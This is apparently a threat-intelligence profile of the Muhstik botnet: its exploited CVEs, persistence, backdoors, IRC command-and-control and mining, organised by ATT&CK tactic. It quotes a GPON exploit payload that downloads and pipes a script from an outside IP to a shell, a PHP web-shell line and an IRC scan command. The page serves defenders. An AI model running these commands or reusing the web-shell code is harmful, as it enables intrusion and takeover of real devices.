Muhstik
- Type
- Botnet
- Capabilities
- Credential theftPersistenceInitial accessLateral movementDefense evasionReconnaissanceScanningBrute forceDDOS
- Delivery
- Fake update
- Platforms
- LinuxNetwork deviceIOT
Muhstik is an IRC-controlled botnet with worm-like propagation capabilities that compromises Linux servers, IoT devices, and routers for distributed denial-of-service attacks and cryptocurrency mining. Publicly documented since 2018, it is associated with the Tsunami/Kaiten malware lineage and uses architecture-specific payloads to recruit diverse systems. Its targeting is opportunistic, encompassing internet-facing applications, embedded devices, and containerized workloads rather than a particular industry.
Muhstik spreads through exploitation of vulnerable applications and devices, weak or default credentials, and SSH brute-force attacks. Observed exploitation includes Drupal CVE-2018-7600, Oracle WebLogic CVE-2017-10271 and CVE-2019-2725, GPON router vulnerabilities CVE-2018-10561 and CVE-2018-10562, Atlassian Confluence CVE-2021-26084, Log4Shell CVE-2021-44228, and Apache RocketMQ CVE-2023-33246. It has also compromised a Kubernetes pod running WordPress through default administrative credentials.
Compromised hosts receive scanning modules and bot payloads that communicate through IRC to receive operational commands. These commands support additional propagation, DDoS attacks, and deployment of mining software such as XMRig and CGMiner. Observed operations have also used scripts to steal local SSH credentials and facilitate lateral movement. Persistence mechanisms include startup modifications and initialization respawn entries. Analyzed variants use packed executables and benign-looking process names, inspect system information, check for monitoring tools, and terminate competing malware processes.
Associated vulnerabilities
11 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
35 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
"muhstik.scanner will initiate scanning and exploit the vulnerability" and Mettle is described as using a scanner at 118.70.80.143.
Initial Access
3 techniques
Initial Access
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
We noticed one of them has worm-propagation behavior.
Multiple botnets exploited GPON CVE-2018-10561 (authentication bypass) and CVE-2018-10562 (command execution) to expand infections. Muhstik also added exploits for JBoss CVE-2007-1036.
Execution
4 techniques
Execution
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
The malicious PHP code loads files and executes remote commands... echo " " . shell_exec($comd) . "";
The GPON exploit payload injects commands into the diagnostic ping parameter, including "wget -qO -http://162.243.211.204/gpon | sh" and a download of the aio payload followed by "| sh".
The P2PInfect worm infects vulnerable Redis instances by exploiting the Lua sandbox escape vulnerability, CVE-2022-0543.
Persistence
8 techniques
Persistence
Created /etc/inittab file using respawn function always for persistence... It succeeded instead of executing persistence via /etc/inittab , adding the following lines.
The attackers then edited the inittab file... used the respawn command to instruct the init process to automatically restart the pty3 process
Created entry in file rc.local for persistence.
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
"...adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key... After the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication."
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
the WordPress header.php file was updated... file_put_contents("E3DC4533F48E7161DA720C6FD3591710.php", $data)... Decrypting the code added by the attacker, we can see it is a PHP web shell, used to execute commands and upload files on the Pod.
Privilege Escalation
7 techniques
Privilege Escalation
Created /etc/inittab file using respawn function always for persistence... It succeeded instead of executing persistence via /etc/inittab , adding the following lines.
The attackers then edited the inittab file... used the respawn command to instruct the init process to automatically restart the pty3 process
Created entry in file rc.local for persistence.
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
"...adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key... After the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication."
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
Stealth
5 techniques
Stealth
it was revealed that the Muhstik malware, downloaded as pty3, is detected as packed software. This means the file signature was changed in an attempt to avoid signature-based detection.
the file is saved with the name pty3. pty is a known mechanism in Linux that facilitates communication between processes. The attackers provided the file with a seemingly legitimate name
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
the Muhstik malware checks if the network tools strace and tcpdump are available on the machine it is running on. It uses the pidof command to check if there is a running process of one of these tools
the pty3 malware was written to the directories listed above (/dev/shm, /var/tmp, /run/lock, and /run). These often involve temporary files or in-memory objects.
Credential Access
2 techniques
Credential Access
SSH scanning module: weak password scanning
Muhstik added an exploit for "DD-WRT (Web Authentication Bruteforcing)."
Discovery
5 techniques
Discovery
360Netlab observed a large number of scans on the internet against this vulnerability... the aiox86 scanning module is quite complicated... Target Ports : Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.
Check tools running inside the host/Pod to discover new Pods to infect.
The attackers queried the machine for details using the uname command to retrieve system information.
This last portion of the PHP code is used as a backdoor communication to send the commands from the botnet. We can observe cmd , dir , or ls -la commands.
the Muhstik malware checks if the network tools strace and tcpdump are available on the machine it is running on. It uses the pidof command to check if there is a running process of one of these tools
Lateral Movement
3 techniques
Lateral Movement
the attackers also uses the IRC communication protocol to invoke commands for the botnet: “We observed multiple IRC Channels, all starting with ‘muhstik,'”
SSH scanning module: weak password scanning... #muhstik-SSH #perform SSH scanning :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
We noticed one of them has worm-propagation behavior.
Command and Control
6 techniques
Command and Control
Muhstik is a variant of the Tsunami botnet... Communication protocol: Based on the IRC protocol, sending different instructions via different channels
Muhstik scanners forced vulnerable GPON devices to report status to PHP URLs hosted on attacker-controlled report servers, including gpon.php and gponb6abe42c3a9aa04216077697eb1bcd44.php.
"...queries relay.l33t-ppl.inf through some publicly available DoH services... During this process, a number of DNS requests are generated."
"...Muhstik adopts TOR network for its reporting mechanism." and "When it is not possible to report infect information directly from the TOR network, Muhstik will try to use TOR's public mapped domains..."
It maintains the DDoS functionality of this family by connecting to a server and accepting commands via a specified IRC channel.
SitesLoader downloads a stage-two ELF file; the XMRig Windows command uses WebClient.DownloadFile to retrieve xmrig.exe; and the Linux variant downloads xmrig.tar.gz plus a setup shell script.
Impact
3 techniques
Impact
"muhstik.c2.list will send commands to its bots" requesting "xmrig Mining" and "cgminer mining."
Muhstik C2 servers could command bots to conduct "DDoS attacks."
Netlab researchers said they intercepted multiple DDoS attack instructions targeting the IP address 46[.]243[.]189[.]102.
Observables
159 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
31 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.